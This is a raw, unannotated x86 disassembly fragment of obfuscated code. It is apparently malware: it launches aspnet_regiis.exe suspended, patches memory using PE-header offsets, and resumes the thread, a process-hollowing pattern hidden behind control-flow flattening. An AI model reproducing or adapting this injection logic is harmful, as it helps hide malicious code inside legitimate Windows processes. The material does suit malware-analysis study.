mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x168], 0xda18f364
jmp 0x10005383
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
sub edx, 0xc1be03a7
sub edx, 1
add edx, 0xc1be03a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe11bc44f
mov ecx, 0x326592e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x168], 0xd0bab59e
jmp 0x10005383
mov dword [ebp - 0x168], 0x1d4825de
jmp 0x10005383
mov eax, dword [ebp - 0x150]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x168], 0xf022ac98
jmp 0x10005383
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x168], 0x4be7e6c0
jmp 0x10005383
mov dword [ebp - 0x168], 0x5c49a1ac
jmp 0x10005383
mov dword [ebp - 0x168], 0x2cae0a60
jmp 0x10005383
mov edx, dword [ebp - 0x104]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x168], 0xf52f2492
jmp 0x10005383
mov dword [ebp - 0x168], 0x3532919e
jmp 0x10005383
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x168], 0xe1d92738
jmp 0x10005383
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x168], 0x783386d6
jmp 0x10005383
mov dword [ebp - 0x168], 0xe0248b5f
jmp 0x10005383
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x168], 0x97d37c4a
jmp 0x10005383
mov dword [ebp - 0x168], 0x68fe7c9d
jmp 0x10005383
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x168], 0x1e776162
jmp 0x10005383
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov dword [ebp - 0x168], 0xd190e69f
jmp 0x10005383
mov dword [ebp - 0x168], 0x326592e4
jmp 0x10005383
mov dword [ebp - 0x168], 0x38259f22
jmp 0x100020c0